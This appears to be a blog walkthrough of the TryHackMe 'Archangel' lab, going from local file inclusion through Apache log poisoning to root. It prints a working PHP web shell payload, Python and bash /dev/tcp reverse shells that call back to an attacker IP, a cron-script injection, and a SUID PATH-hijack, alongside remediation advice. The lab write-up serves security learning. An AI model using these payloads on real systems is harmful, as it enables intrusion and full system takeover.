Archangel – TryHackMe

Published by The Cyber Staff on

Narrowing down the traversal filter and a working bypass pattern

From Local File Inclusion to Root

Difficulty: Easy/Medium | Skills: Web enumeration, Local File Inclusion (LFI), Apache log poisoning, reverse shells, Linux privilege escalation (cron abuse & SUID PATH hijacking)


Overview

Archangel is a web-focused box that walks through a realistic attack chain: discover a hidden virtual host, find a Local File Inclusion vulnerability, escalate that into remote code execution through Apache log poisoning, catch a reverse shell, and then climb from a low-privileged web user all the way to root by abusing a scheduled task and, finally, a misconfigured SUID binary.

If you want to follow along with someone else’s notes, I leaned on the official room tasks plus this excellent walkthrough by 0xm3dd when I got stuck. I started working on this box from the direction of hackerblueprint.

Here’s the full methodology, start to finish.


1. Enumeration

As always, the first job is to map the attack surface. I kicked off a full TCP scan alongside a UDP scan to see what the box was exposing.

Nmap full TCP scan results showing the target's open ports
Nmap UDP scan results for the target

The scan showed a web server, so I pointed a browser at the host. The landing page hinted at a domain name – a strong sign the box is using name-based virtual hosting, where the “real” site only responds when you request it by hostname.

Default web server landing page hinting at a virtual host domain name

To reach that virtual host, I mapped the hostname to the target’s IP in my local hosts file so my machine would resolve it correctly:

echo "<TARGET_IP>  mafialive.thm" | sudo tee -a /etc/hosts
Adding the mafialive.thm hostname to the local /etc/hosts file

With the host entry in place, browsing to the domain served up a different site – the real target.

The mafialive.thm virtual host loading the real target site

2. Web Enumeration

With the correct site loading, I went looking for low-hanging fruit. robots.txt is always worth a glance – it often names paths the owner would rather crawlers (and you) didn’t visit.

robots.txt listing a disallowed path on the target site

Following that lead landed me on a PHP endpoint that takes a page/view parameter – exactly the kind of thing that’s prone to file-inclusion bugs.

PHP page that loads content from a view parameter, prone to file inclusion

3. Local File Inclusion (LFI)

Any time a parameter looks like it controls which file gets loaded, it’s worth testing for path traversal – walking “up” the directory tree with ../ sequences to read files outside the web root. I fuzzed the parameter to see how it behaved.

Fuzzing the page parameter for path traversal

LFI Payload list used

The application was filtering some traversal attempts, but a crafted payload slipped through and returned the contents of a system file – LFI confirmed. A common trick here is doubling up the traversal sequences (e.g. ....//....//) so that a naive filter which strips a single ../ still leaves a working ../ behind.

LFI confirmed: a system file's contents returned through the parameter

I kept fuzzing to understand exactly which filter was in play and what traversal pattern reliably bypassed it.

Narrowing down the traversal filter and a working bypass pattern

Crucially, the traversal let me reach the Apache access log:

/var/log/apache2/access.log

Being able to read the web server’s log is the key that unlocks the next stage.

Reading the Apache access.log through the Local File Inclusion

4. Log Poisoning → Remote Code Execution

Here’s the idea behind log poisoning: Apache writes details of every request – including the User-Agent header – straight into access.log. If I put PHP code inside my User-Agent, it gets written verbatim into the log. Then, because the LFI includes (executes) whatever file I point it at, pulling in the poisoned log causes PHP to run my injected code.

First, a quick proof that my request lands in the log:

Proof that the request's User-Agent is written into access.log

Including the log back through the LFI executed the payload – poisoning works.

Including the poisoned log through the LFI executes the injected PHP

To turn this into a usable web shell, I set the User-Agent to a one-liner that executes whatever command I pass in a request parameter:

User-Agent: <?= system($_REQUEST['shell']) ?>
Web shell built from a system() one-liner placed in the User-Agent

A note on the syntax, since it’s easy to break: <?= is PHP’s short-echo tag and expects a single expression – so keep it clean, with balanced quotes and no stray characters. system() runs the value of the shell parameter as a shell command and prints the output. Once that line is in the log, every include of the log re-runs it, so make sure it parses correctly the first time.

Now I could run commands by appending &shell=<command> to the request that includes the log.

Running commands on the target through the log-poisoning web shell

5. Getting a Reverse Shell

A web shell is clumsy – one command at a time, no real interactivity. I confirmed the box had python3 available and used it to call back to a listener on my machine.

Confirming python3 is installed on the target

On my attacking box I started a listener:

nc -lvnp 443

Then, through the web shell, I fired off a Python reverse shell (swap in your own VPN/tun0 IP for RHOST):

export RHOST="192.168.137.66";export RPORT=443;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'

The listener caught the connection – I had an interactive foothold on the box.

Netcat listener catching the initial Python reverse shell

Tip: stabilise the shell right away with python3 -c 'import pty;pty.spawn("/bin/bash")', then Ctrl+Z, stty raw -echo; fg, and export TERM=xterm so you get tab-completion and arrow keys.


6. Privilege Escalation #1 — Abusing a Scheduled Task

With a foothold, I enumerated for anything running automatically. Checking scheduled tasks revealed a script set to run every minute – and, critically, one that my current user could write to.

A cron job running a world-writable script every minute

A writable script executed by a higher-privileged user is a textbook privilege-escalation path: I just append my own reverse shell to it and wait for the scheduler to run it as that user.

echo 'bash -i >& /dev/tcp/192.168.137.66/4444 0>&1' >> <path_to_scheduled_script>
Appending a reverse shell one-liner to the writable cron script

A minute later, a second listener caught a shell – this time as the account that owns the cron job.

Second reverse shell received as the cron job's owner

7. Privilege Escalation #2 — SUID Binary PATH Hijack to Root

Now operating as a more privileged user, I hunted for SUID binaries – programs that run with the privileges of their owner (here, root) rather than the person executing them.

find / -perm -4000 -type f 2>/dev/null

That turned up a custom root-owned binary with the SUID bit set.

A custom root-owned binary with the SUID bit set

Running it showed it calls cp without an absolute path. That’s the whole vulnerability: when a program invokes a command by name alone, the shell searches each directory in $PATH in order. If I put a directory I control at the front of $PATH and drop a malicious cp there, the SUID binary runs my cp as root.

# 1. Create a fake "cp" that just launches a privileged shell
cd /tmp
echo -e '#!/bin/bash\n/bin/bash -p' > cp
chmod +x cp

# 2. Put /tmp at the front of PATH (keep the real system dirs after it!)
export PATH=/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

# 3. Run the SUID binary — it calls our cp as root
<path_to_suid_binary>

Two things that quietly trip people up here:

  • Mind the -p flag. /bin/bash -p preserves the elevated (effective) privileges; without it, bash drops them on startup and you just get your own shell back.
  • Don’t nuke your PATH. Keep the system directories after your injected one. If you set PATH=/tmp alone (or leave a stray space, like export PATH=$(pwd): $PATH), basic commands such as id, whoami, and chmod stop resolving because /bin and /usr/bin fall out of the path.

The fake cp executed with root privileges and dropped a root shell.

The fake cp on PATH running as root and dropping a root shell

Key Takeaways & Remediation

Archangel is a great end-to-end example of how small misconfigurations chain into a full compromise. If you’re defending a system like this:

  • Validate and canonicalise file paths. Never feed user input straight into an include/require. Use an allow-list of permitted pages instead of filtering ../, which is almost always bypassable (e.g. with doubled-up sequences).
  • Keep logs out of the web root and never include them. Log poisoning only works because a user-controlled file (the access log) could be executed as PHP.
  • Treat the User-Agent (and every header) as untrusted input. It ends up in logs, dashboards, and sometimes databases.
  • Lock down scheduled tasks. Scripts run by cron should be owned by the running user and not writable by anyone else.
  • Audit SUID binaries and always call commands by absolute path. Any SUID program that invokes a command by bare name is a PATH-hijack waiting to happen.

Thanks for reading – if this helped, drop a comment with where you got stuck, and happy hacking.

Disclaimer: This walkthrough is for educational purposes on a deliberately vulnerable lab machine (TryHackMe Archangel). Only test systems you own or are explicitly authorised to assess.


0 Comments

Leave a Reply

Avatar placeholder

Your email address will not be published. Required fields are marked *